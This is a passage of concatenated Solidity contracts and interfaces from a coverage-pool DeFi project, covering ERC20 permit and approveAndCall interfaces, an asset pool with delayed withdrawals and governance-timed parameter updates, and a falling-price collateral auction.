allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function buildDomainSeparator() private view returns (bytes32) {
return
keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name)),
keccak256(bytes("1")),
block.chainid,
address(this)
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @notice An interface that should be implemented by tokens supporting
/// `approveAndCall`/`receiveApproval` pattern.
interface IApproveAndCall {
/// @notice Executes `receiveApproval` function on spender as specified in
/// `IReceiveApproval` interface. Approves spender to withdraw from
/// the caller multiple times, up to the `amount`. If this
/// function is called again, it overwrites the current allowance
/// with `amount`. Reverts if the approval reverted or if
/// `receiveApproval` call on the spender reverted.
function approveAndCall(
address spender,
uint256 amount,
bytes memory extraData
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "./IApproveAndCall.sol";
/// @title IERC20WithPermit
/// @notice Burnable ERC20 token with EIP2612 permit functionality. User can
/// authorize a transfer of their token with a signature conforming
/// EIP712 standard instead of an on-chain transaction from their
/// address. Anyone can submit this signature on the user's behalf by
/// calling the permit function, as specified in EIP2612 standard,
/// paying gas fees, and possibly performing other actions in the same
/// transaction.
interface IERC20WithPermit is IERC20, IERC20Metadata, IApproveAndCall {
/// @notice EIP2612 approval made with secp256k1 signature.
/// Users can authorize a transfer of their tokens with a signature
/// conforming EIP712 standard, rather than an on-chain transaction
/// from their address. Anyone can submit this signature on the
/// user's behalf by calling the permit function, paying gas fees,
/// and possibly performing other actions in the same transaction.
/// @dev The deadline argument can be set to `type(uint256).max to create
/// permits that effectively never expire.
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/// @notice Destroys `amount` tokens from the caller.
function burn(uint256 amount) external;
/// @notice Destroys `amount` of tokens from `account`, deducting the amount
/// from caller's allowance.
function burnFrom(address account, uint256 amount) external;
/// @notice Returns hash of EIP712 Domain struct with the token name as
/// a signing domain and token contract as a verifying contract.
/// Used to construct EIP2612 signature provided to `permit`
/// function.
/* solhint-disable-next-line func-name-mixedcase */
function DOMAIN_SEPARATOR() external view returns (bytes32);
/// @notice Returns the current nonce for EIP2612 permission for the
/// provided token owner for a replay protection. Used to construct
/// EIP2612 signature provided to `permit` function.
function nonces(address owner) external view returns (uint256);
/// @notice Returns EIP2612 Permit message hash. Used to construct EIP2612
/// signature provided to `permit` function.
/* solhint-disable-next-line func-name-mixedcase */
function PERMIT_TYPEHASH() external pure returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @notice An interface that should be implemented by contracts supporting
/// `approveAndCall`/`receiveApproval` pattern.
interface IReceiveApproval {
/// @notice Receives approval to spend tokens. Called as a result of
/// `approveAndCall` call on the token.
function receiveApproval(
address from,
uint256 amount,
address token,
bytes calldata extraData
) external;
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
import "./interfaces/IAssetPool.sol";
import "./interfaces/IAssetPoolUpgrade.sol";
import "./RewardsPool.sol";
import "./UnderwriterToken.sol";
import "./GovernanceUtils.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Asset Pool
/// @notice Asset pool is a component of a Coverage Pool. Asset Pool
/// accepts a single ERC20 token as collateral, and returns an
/// underwriter token. For example, an asset pool might accept deposits
/// in KEEP in return for covKEEP underwriter tokens. Underwriter tokens
/// represent an ownership share in the underlying collateral of the
/// Asset Pool.
contract AssetPool is Ownable, IAssetPool {
using SafeERC20 for IERC20;
using SafeERC20 for UnderwriterToken;
IERC20 public immutable collateralToken;
UnderwriterToken public immutable underwriterToken;
RewardsPool public immutable rewardsPool;
IAssetPoolUpgrade public newAssetPool;
/// @notice The time it takes the underwriter to withdraw their collateral
/// and rewards from the pool. This is the time that needs to pass
/// between initiating and completing the withdrawal. During that
/// time, underwriter is still earning rewards and their share of
/// the pool is still a subject of a possible coverage claim.
uint256 public withdrawalDelay = 21 days;
uint256 public newWithdrawalDelay;
uint256 public withdrawalDelayChangeInitiated;
/// @notice The time the underwriter has after the withdrawal delay passed
/// to complete the withdrawal. During that time, underwriter is
/// still earning rewards and their share of the pool is still
/// a subject of a possible coverage claim.
/// After the withdrawal timeout elapses, tokens stay in the pool
/// and the underwriter has to initiate the withdrawal again and
/// wait for the full withdrawal delay to complete the withdrawal.
uint256 public withdrawalTimeout = 2 days;
uint256 public newWithdrawalTimeout;
uint256 public withdrawalTimeoutChangeInitiated;
mapping(address => uint256) public withdrawalInitiatedTimestamp;
mapping(address => uint256) public pendingWithdrawal;
event Deposited(
address indexed underwriter,
uint256 amount,
uint256 covAmount
);
event CoverageClaimed(
address indexed recipient,
uint256 amount,
uint256 timestamp
);
event WithdrawalInitiated(
address indexed underwriter,
uint256 covAmount,
uint256 timestamp
);
event WithdrawalCompleted(
address indexed underwriter,
uint256 amount,
uint256 covAmount,
uint256 timestamp
);
event ApprovedAssetPoolUpgrade(address newAssetPool);
event CancelledAssetPoolUpgrade(address cancelledAssetPool);
event AssetPoolUpgraded(
address indexed underwriter,
uint256 collateralAmount,
uint256 covAmount,
uint256 timestamp
);
event WithdrawalDelayUpdateStarted(
uint256 withdrawalDelay,
uint256 timestamp
);
event WithdrawalDelayUpdated(uint256 withdrawalDelay);
event WithdrawalTimeoutUpdateStarted(
uint256 withdrawalTimeout,
uint256 timestamp
);
event WithdrawalTimeoutUpdated(uint256 withdrawalTimeout);
/// @notice Reverts if the withdrawal governance delay has not passed yet or
/// if the change was not yet initiated.
/// @param changeInitiatedTimestamp The timestamp at which the change has
/// been initiated
modifier onlyAfterWithdrawalGovernanceDelay(
uint256 changeInitiatedTimestamp
) {
require(changeInitiatedTimestamp > 0, "Change not initiated");
require(
/* solhint-disable-next-line not-rely-on-time */
block.timestamp - changeInitiatedTimestamp >=
withdrawalGovernanceDelay(),
"Governance delay has not elapsed"
);
_;
}
constructor(
IERC20 _collateralToken,
UnderwriterToken _underwriterToken,
address rewardsManager
) {
collateralToken = _collateralToken;
underwriterToken = _underwriterToken;
rewardsPool = new RewardsPool(
_collateralToken,
address(this),
rewardsManager
);
}
/// @notice Accepts the given amount of collateral token as a deposit and
/// mints underwriter tokens representing pool's ownership.
/// Optional data in extraData may include a minimal amount of
/// underwriter tokens expected to be minted for a depositor. There
/// are cases when an amount of minted tokens matters for a
/// depositor, as tokens might be used in third party exchanges.
/// @dev This function is a shortcut for approve + deposit.
function receiveApproval(
address from,
uint256 amount,
address token,
bytes calldata extraData
) external {
require(msg.sender == token, "Only token caller allowed");
require(
token == address(collateralToken),
"Unsupported collateral token"
);
uint256 toMint = _calculateTokensToMint(amount);
if (extraData.length != 0) {
require(extraData.length == 32, "Unexpected data length");
uint256 minAmountToMint = abi.decode(extraData, (uint256));
require(
minAmountToMint <= toMint,
"Amount to mint is smaller than the required minimum"
);
}
_deposit(from, amount, toMint);
}
/// @notice Accepts the given amount of collateral token as a deposit and
/// mints underwriter tokens representing pool's ownership.
/// @dev Before calling this function, collateral token needs to have the
/// required amount accepted to transfer to the asset pool.
/// @param amountToDeposit Collateral tokens amount that a user deposits to
/// the asset pool
/// @return The amount of minted underwriter tokens
function deposit(uint256 amountToDeposit)
external
override
returns (uint256)
{
uint256 toMint = _calculateTokensToMint(amountToDeposit);
_deposit(msg.sender, amountToDeposit, toMint);
return toMint;
}
/// @notice Accepts the given amount of collateral token as a deposit and
/// mints at least a minAmountToMint underwriter tokens representing
/// pool's ownership.
/// @dev Before calling this function, collateral token needs to have the
/// required amount accepted to transfer to the asset pool.
/// @param amountToDeposit Collateral tokens amount that a user deposits to
/// the asset pool
/// @param minAmountToMint Underwriter minimal tokens amount that a user
/// expects to receive in exchange for the deposited
/// collateral tokens
/// @return The amount of minted underwriter tokens
function depositWithMin(uint256 amountToDeposit, uint256 minAmountToMint)
external
override
returns (uint256)
{
uint256 toMint = _calculateTokensToMint(amountToDeposit);
require(
minAmountToMint <= toMint,
"Amount to mint is smaller than the required minimum"
);
_deposit(msg.sender, amountToDeposit, toMint);
return toMint;
}
/// @notice Initiates the withdrawal of collateral and rewards from the
/// pool. Must be followed with completeWithdrawal call after the
/// withdrawal delay passes. Accepts the amount of underwriter
/// tokens representing the share of the pool that should be
/// withdrawn. Can be called multiple times increasing the pool share
/// to withdraw and resetting the withdrawal initiated timestamp for
/// each call. Can be called with 0 covAmount to reset the
/// withdrawal initiated timestamp if the underwriter has a pending
/// withdrawal. In practice 0 covAmount should be used only to
/// initiate the withdrawal again in case one did not complete the
/// withdrawal before the withdrawal timeout elapsed.
/// @dev Before calling this function, underwriter token needs to have the
/// required amount accepted to transfer to the asset pool.
function initiateWithdrawal(uint256 covAmount) external override {
uint256 pending = pendingWithdrawal[msg.sender];
require(
covAmount > 0 || pending > 0,
"Underwriter token amount must be greater than 0"
);
pending += covAmount;
pendingWithdrawal[msg.sender] = pending;
/* solhint-disable not-rely-on-time */
withdrawalInitiatedTimestamp[msg.sender] = block.timestamp;
emit WithdrawalInitiated(msg.sender, pending, block.timestamp);
/* solhint-enable not-rely-on-time */
if (covAmount > 0) {
underwriterToken.safeTransferFrom(
msg.sender,
address(this),
covAmount
);
}
}
/// @notice Completes the previously initiated withdrawal for the
/// underwriter. Anyone can complete the withdrawal for the
/// underwriter. The withdrawal has to be completed before the
/// withdrawal timeout elapses. Otherwise, the withdrawal has to
/// be initiated again and the underwriter has to wait for the
/// entire withdrawal delay again before being able to complete
/// the withdrawal.
/// @return The amount of collateral withdrawn
function completeWithdrawal(address underwriter)
external
override
returns (uint256)
{
/* solhint-disable not-rely-on-time */
uint256 initiatedAt = withdrawalInitiatedTimestamp[underwriter];
require(initiatedAt > 0, "No withdrawal initiated for the underwriter");
uint256 withdrawalDelayEndTimestamp = initiatedAt + withdrawalDelay;
require(
withdrawalDelayEndTimestamp < block.timestamp,
"Withdrawal delay has not elapsed"
);
require(
withdrawalDelayEndTimestamp + withdrawalTimeout >= block.timestamp,
"Withdrawal timeout elapsed"
);
uint256 covAmount = pendingWithdrawal[underwriter];
uint256 covSupply = underwriterToken.totalSupply();
delete withdrawalInitiatedTimestamp[underwriter];
delete pendingWithdrawal[underwriter];
// slither-disable-next-line reentrancy-events
rewardsPool.withdraw();
uint256 collateralBalance = collateralToken.balanceOf(address(this));
uint256 amountToWithdraw = (covAmount * collateralBalance) / covSupply;
emit WithdrawalCompleted(
underwriter,
amountToWithdraw,
covAmount,
block.timestamp
);
collateralToken.safeTransfer(underwriter, amountToWithdraw);
/* solhint-enable not-rely-on-time */
underwriterToken.burn(covAmount);
return amountToWithdraw;
}
/// @notice Transfers collateral tokens to a new Asset Pool which previously
/// was approved by the governance. Upgrade does not have to obey
/// withdrawal delay.
/// Old underwriter tokens are burned in favor of new tokens minted
/// in a new Asset Pool. New tokens are sent directly to the
/// underwriter from a new Asset Pool.
/// @param covAmount Amount of underwriter tokens used to calculate collateral
/// tokens which are transferred to a new asset pool
/// @param _newAssetPool New Asset Pool address to check validity with the one
/// that was approved by the governance
function upgradeToNewAssetPool(uint256 covAmount, address _newAssetPool)
external
{
/* solhint-disable not-rely-on-time */
require(
address(newAssetPool) != address(0),
"New asset pool must be assigned"
);
require(
address(newAssetPool) == _newAssetPool,
"Addresses of a new asset pool must match"
);
require(
covAmount > 0,
"Underwriter token amount must be greater than 0"
);
uint256 covSupply = underwriterToken.totalSupply();
// slither-disable-next-line reentrancy-events
rewardsPool.withdraw();
uint256 collateralBalance = collateralToken.balanceOf(address(this));
uint256 collateralToTransfer = (covAmount * collateralBalance) /
covSupply;
collateralToken.safeApprove(
address(newAssetPool),
collateralToTransfer
);
// old underwriter tokens are burned in favor of new minted in a new
// asset pool
underwriterToken.burnFrom(msg.sender, covAmount);
// collateralToTransfer will be sent to a new AssetPool and new
// underwriter tokens will be minted and transferred back to the underwriter
newAssetPool.depositFor(msg.sender, collateralToTransfer);
emit AssetPoolUpgraded(
msg.sender,
collateralToTransfer,
covAmount,
block.timestamp
);
}
/// @notice Allows governance to set a new asset pool so the underwriters
/// can move their collateral tokens to a new asset pool without
/// having to wait for the withdrawal delay.
function approveNewAssetPoolUpgrade(IAssetPoolUpgrade _newAssetPool)
external
onlyOwner
{
require(
address(_newAssetPool) != address(0),
"New asset pool can't be zero address"
);
newAssetPool = _newAssetPool;
emit ApprovedAssetPoolUpgrade(address(_newAssetPool));
}
/// @notice Allows governance to cancel already approved new asset pool
/// in case of some misconfiguration.
function cancelNewAssetPoolUpgrade() external onlyOwner {
emit CancelledAssetPoolUpgrade(address(newAssetPool));
newAssetPool = IAssetPoolUpgrade(address(0));
}
/// @notice Allows the coverage pool to demand coverage from the asset hold
/// by this pool and send it to the provided recipient address.
function claim(address recipient, uint256 amount) external onlyOwner {
emit CoverageClaimed(recipient, amount, block.timestamp);
rewardsPool.withdraw();
collateralToken.safeTransfer(recipient, amount);
}
/// @notice Lets the contract owner to begin an update of withdrawal delay
/// parameter value. Withdrawal delay is the time it takes the
/// underwriter to withdraw their collateral and rewards from the
/// pool. This is the time that needs to pass between initiating and
/// completing the withdrawal. The change needs to be finalized with
/// a call to finalizeWithdrawalDelayUpdate after the required
/// governance delay passes. It is up to the contract owner to
/// decide what the withdrawal delay value should be but it should
/// be long enough so that the possibility of having free-riding
/// underwriters escaping from a potential coverage claim by
/// withdrawing their positions from the pool is negligible.
/// @param _newWithdrawalDelay The new value of withdrawal delay
function beginWithdrawalDelayUpdate(uint256 _newWithdrawalDelay)
external
onlyOwner
{
newWithdrawalDelay = _newWithdrawalDelay;
withdrawalDelayChangeInitiated = block.timestamp;
emit WithdrawalDelayUpdateStarted(_newWithdrawalDelay, block.timestamp);
}
/// @notice Lets the contract owner to finalize an update of withdrawal
/// delay parameter value. This call has to be preceded with
/// a call to beginWithdrawalDelayUpdate and the governance delay
/// has to pass.
function finalizeWithdrawalDelayUpdate()
external
onlyOwner
onlyAfterWithdrawalGovernanceDelay(withdrawalDelayChangeInitiated)
{
withdrawalDelay = newWithdrawalDelay;
emit WithdrawalDelayUpdated(withdrawalDelay);
newWithdrawalDelay = 0;
withdrawalDelayChangeInitiated = 0;
}
/// @notice Lets the contract owner to begin an update of withdrawal timeout
/// parameter value. The withdrawal timeout is the time the
/// underwriter has - after the withdrawal delay passed - to
/// complete the withdrawal. The change needs to be finalized with
/// a call to finalizeWithdrawalTimeoutUpdate after the required
/// governance delay passes. It is up to the contract owner to
/// decide what the withdrawal timeout value should be but it should
/// be short enough so that the time of free-riding by being able to
/// immediately escape from the claim is minimal and long enough so
/// that honest underwriters have a possibility to finalize the
/// withdrawal. It is all about the right proportions with
/// a relation to withdrawal delay value.
/// @param _newWithdrawalTimeout The new value of the withdrawal timeout
function beginWithdrawalTimeoutUpdate(uint256 _newWithdrawalTimeout)
external
onlyOwner
{
newWithdrawalTimeout = _newWithdrawalTimeout;
withdrawalTimeoutChangeInitiated = block.timestamp;
emit WithdrawalTimeoutUpdateStarted(
_newWithdrawalTimeout,
block.timestamp
);
}
/// @notice Lets the contract owner to finalize an update of withdrawal
/// timeout parameter value. This call has to be preceded with
/// a call to beginWithdrawalTimeoutUpdate and the governance delay
/// has to pass.
function finalizeWithdrawalTimeoutUpdate()
external
onlyOwner
onlyAfterWithdrawalGovernanceDelay(withdrawalTimeoutChangeInitiated)
{
withdrawalTimeout = newWithdrawalTimeout;
emit WithdrawalTimeoutUpdated(withdrawalTimeout);
newWithdrawalTimeout = 0;
withdrawalTimeoutChangeInitiated = 0;
}
/// @notice Grants pool shares by minting a given amount of the underwriter
/// tokens for the recipient address. In result, the recipient
/// obtains part of the pool ownership without depositing any
/// collateral tokens. Shares are usually granted for notifiers
/// reporting about various contract state changes.
/// @dev Can be called only by the contract owner.
/// @param recipient Address of the underwriter tokens recipient
/// @param covAmount Amount of the underwriter tokens which should be minted
function grantShares(address recipient, uint256 covAmount)
external
onlyOwner
{
rewardsPool.withdraw();
underwriterToken.mint(recipient, covAmount);
}
/// @notice Returns the remaining time that has to pass before the contract
/// owner will be able to finalize withdrawal delay update.
/// Bear in mind the contract owner may decide to wait longer and
/// this value is just an absolute minimum.
/// @return The time left until withdrawal delay update can be finalized
function getRemainingWithdrawalDelayUpdateTime()
external
view
returns (uint256)
{
return
GovernanceUtils.getRemainingChangeTime(
withdrawalDelayChangeInitiated,
withdrawalGovernanceDelay()
);
}
/// @notice Returns the remaining time that has to pass before the contract
/// owner will be able to finalize withdrawal timeout update.
/// Bear in mind the contract owner may decide to wait longer and
/// this value is just an absolute minimum.
/// @return The time left until withdrawal timeout update can be finalized
function getRemainingWithdrawalTimeoutUpdateTime()
external
view
returns (uint256)
{
return
GovernanceUtils.getRemainingChangeTime(
withdrawalTimeoutChangeInitiated,
withdrawalGovernanceDelay()
);
}
/// @notice Returns the current collateral token balance of the asset pool
/// plus the reward amount (in collateral token) earned by the asset
/// pool and not yet withdrawn to the asset pool.
/// @return The total value of asset pool in collateral token.
function totalValue() external view returns (uint256) {
return collateralToken.balanceOf(address(this)) + rewardsPool.earned();
}
/// @notice The time it takes to initiate and complete the withdrawal from
/// the pool plus 2 days to make a decision. This governance delay
/// should be used for all changes directly affecting underwriter
/// positions. This time is a minimum and the governance may choose
/// to wait longer before finalizing the update.
/// @return The withdrawal governance delay in seconds
function withdrawalGovernanceDelay() public view returns (uint256) {
return withdrawalDelay + withdrawalTimeout + 2 days;
}
/// @dev Calculates underwriter tokens to mint.
function _calculateTokensToMint(uint256 amountToDeposit)
internal
returns (uint256)
{
rewardsPool.withdraw();
uint256 covSupply = underwriterToken.totalSupply();
uint256 collateralBalance = collateralToken.balanceOf(address(this));
if (covSupply == 0) {
return amountToDeposit;
}
return (amountToDeposit * covSupply) / collateralBalance;
}
function _deposit(
address depositor,
uint256 amountToDeposit,
uint256 amountToMint
) internal {
require(depositor != address(this), "Self-deposit not allowed");
require(
amountToMint > 0,
"Minted tokens amount must be greater than 0"
);
emit Deposited(depositor, amountToDeposit, amountToMint);
underwriterToken.mint(depositor, amountToMint);
collateralToken.safeTransferFrom(
depositor,
address(this),
amountToDeposit
);
}
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
import "./interfaces/IAuction.sol";
import "./Auctioneer.sol";
import "./CoveragePoolConstants.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// @title Auction
/// @notice A contract to run a linear falling-price auction against a diverse
/// basket of assets held in a collateral pool. Auctions are taken using
/// a single asset. Over time, a larger and larger portion of the assets
/// are on offer, eventually hitting 100% of the backing collateral
/// pool. Auctions can be partially filled, and are meant to be amenable
/// to flash loans and other atomic constructions to take advantage of
/// arbitrage opportunities within a single block.
/// @dev Auction contracts are not meant to be deployed directly, and are
/// instead cloned by an auction factory. Auction contracts clean up and
/// self-destruct on close. An auction that has run the entire length will
/// stay open, forever, or until priced fluctuate and it's eventually
/// profitable to close.
contract Auction is IAuction {
using SafeERC20 for IERC20;
struct AuctionStorage {
IERC20 tokenAccepted;
Auctioneer auctioneer;
// the auction price, denominated in tokenAccepted
uint256 amountOutstanding;
uint256 amountDesired;
uint256 startTime;
uint256 startTimeOffset;
uint256 auctionLength;
}
AuctionStorage public self;
address public immutable masterContract;
/// @notice Throws if called by any account other than the auctioneer.
modifier onlyAuctioneer() {
//slither-disable-next-line incorrect-equality
require(
msg.sender == address(self.auctioneer),
"Caller is not the auctioneer"
);
_;
}
constructor() {
masterContract = address(this);
}
/// @notice Initializes auction
/// @dev At the beginning of an auction, velocity pool depleting rate is
/// always 1. It increases over time after a partial auction buy.
/// @param _auctioneer the auctioneer contract responsible for seizing
/// funds from the backing collateral pool
/// @param _tokenAccepted the token with which the auction can be taken
/// @param _amountDesired the amount denominated in _tokenAccepted. After
/// this amount is received, the auction can close.
/// @param _auctionLength the amount of time it takes for the auction to get
/// to 100% of all collateral on offer, in seconds.
function initialize(
Auctioneer _auctioneer,
IERC20 _tokenAccepted,
uint256 _amountDesired,
uint256 _auctionLength
) external {
require(!isMasterContract(), "Can not initialize master contract");
//slither-disable-next-line incorrect-equality
require(self.startTime == 0, "Auction already initialized");
require(_amountDesired > 0, "Amount desired must be greater than zero");
require(_auctionLength > 0, "Auction length must be greater than zero");
self.auctioneer = _auctioneer;
self.tokenAccepted = _tokenAccepted;
self.amountOutstanding = _amountDesired;
self.amountDesired = _amountDesired;
/* solhint-disable-next-line not-rely-on-time */
self.startTime = block.timestamp;
self.startTimeOffset = 0;
self.auctionLength = _auctionLength;
}
/// @notice Takes an offer from an auction buyer.
/// @dev There are two possible ways to take an offer from a buyer. The first
/// one is to buy entire auction with the amount desired for this auction.
/// The other way is to buy a portion of an auction. In this case an
/// auction depleting rate is increased.
/// WARNING: When calling this function directly, it might happen that
/// the expected amount of tokens to seize from the coverage pool is
/// different from the actual one. There are a couple of reasons for that
/// such another bids taking this offer, claims or withdrawals on an
/// Asset Pool that are executed in the same block. The recommended way
/// for taking an offer is through 'AuctionBidder' contract with
/// 'takeOfferWithMin' function, where a caller can specify the minimal
/// value to receive from the coverage pool in exchange for its amount
/// of tokenAccepted.
/// @param amount the amount the taker is paying, denominated in tokenAccepted.
/// In the scenario when amount exceeds the outstanding tokens
/// for the auction to complete, only the amount outstanding will
/// be taken from a caller.
function takeOffer(uint256 amount) external override {
require(amount > 0, "Can't pay 0 tokens");
uint256 amountToTransfer = Math.min(amount, self.amountOutstanding);
uint256 amountOnOffer = _onOffer();
//slither-disable-next-line reentrancy-no-eth
self.tokenAccepted.safeTransferFrom(
msg.sender,
address(self.auctioneer),
amountToTransfer
);
uint256 portionToSeize = (amountOnOffer * amountToTransfer) /
self.amountOutstanding;
if (!isAuctionOver() && amountToTransfer != self.amountOutstanding) {
// Time passed since the auction start or the last takeOffer call
// with a partial fill.
uint256 timePassed /* solhint-disable-next-line not-rely-on-time */
= block.timestamp - self.startTime - self.startTimeOffset;
// Ratio of the auction's amount included in this takeOffer call to
// the whole outstanding auction amount.
uint256 ratioAmountPaid = (CoveragePoolConstants
.FLOATING_POINT_DIVISOR * amountToTransfer) /
self.amountOutstanding;
// We will shift the start time offset and increase the velocity pool
// depleting rate proportionally to the fraction of the outstanding
// amount paid in this function call so that the auction can offer
// no worse financial outcome for the next takers than the current
// taker has.
//
//slither-disable-next-line divide-before-multiply
self.startTimeOffset =
self.startTimeOffset +
((timePassed * ratioAmountPaid) /
CoveragePoolConstants.FLOATING_POINT_DIVISOR);
}
self.amountOutstanding -= amountToTransfer;
//slither-disable-next-line incorrect-equality
bool isFullyFilled = self.amountOutstanding == 0;
// inform auctioneer of proceeds and winner. the auctioneer seizes funds
// from the collateral pool in the name of the winner, and controls all
// proceeds
//
//slither-disable-next-line reentrancy-no-eth
self.auctioneer.offerTaken(
msg.sender,
self.tokenAccepted,
amountToTransfer,
portionToSeize,
isFullyFilled
);
//slither-disable-next-line incorrect-equality
if (isFullyFilled) {
harikari();
}
}
/// @notice Tears down the auction manually, before its entire amount
/// is bought by takers.
/// @dev Can be called only by the auctioneer which may decide to early
// close the auction in case it is no longer needed.
function earlyClose() external onlyAuctioneer {
require(self.amountOutstanding > 0, "Auction must be open");
harikari();
}
/// @notice How much of the collateral pool can currently be purchased at
/// auction, across all assets.
/// @dev _onOffer() / FLOATING_POINT_DIVISOR) returns a portion of the
/// collateral pool. Ex. if 35% available of the collateral pool,
/// then _onOffer() / FLOATING_POINT_DIVISOR) returns 0.35
/// @return the ratio of the collateral pool currently on offer
function onOffer() external view override returns (uint256, uint256) {
return (_onOffer(), CoveragePoolConstants.FLOATING_POINT_DIVISOR);
}
function amountOutstanding() external view returns (uint256) {
return self.amountOutstanding;
}
function amountTransferred() external view returns (uint256) {
return self.amountDesired - self.amountOutstanding;
}
/// @dev Delete all storage and destroy the contract. Should only be called
/// after an auction has closed.
function harikari() internal {
require(!isMasterContract(), "Master contract can not harikari");
selfdestruct(payable(address(self.auctioneer)));
}
function _onOffer() internal view returns (uint256) {
// when the auction is over, entire pool is on offer
if (isAuctionOver()) {
// Down the road, for determining a portion on offer, a value returned
// by this function will be divided by FLOATING_POINT_DIVISOR. To
// return the entire pool, we need to return just this divisor in order
// to get 1.0 ie. FLOATING_POINT_DIVISOR / FLOATING_POINT_DIVISOR = 1.0
return CoveragePoolConstants.FLOATING_POINT_DIVISOR;
}
// How fast portions of the collateral pool become available on offer.
// It is needed to calculate the right portion value on offer at the
// given moment before the auction is over.
// Auction length once set is constant and what changes is the auction's
// "start time offset" once the takeOffer() call has been processed for
// partial fill. The auction's "start time offset" is updated every takeOffer().
// velocityPoolDepletingRate = auctionLength / (auctionLength - startTimeOffset)
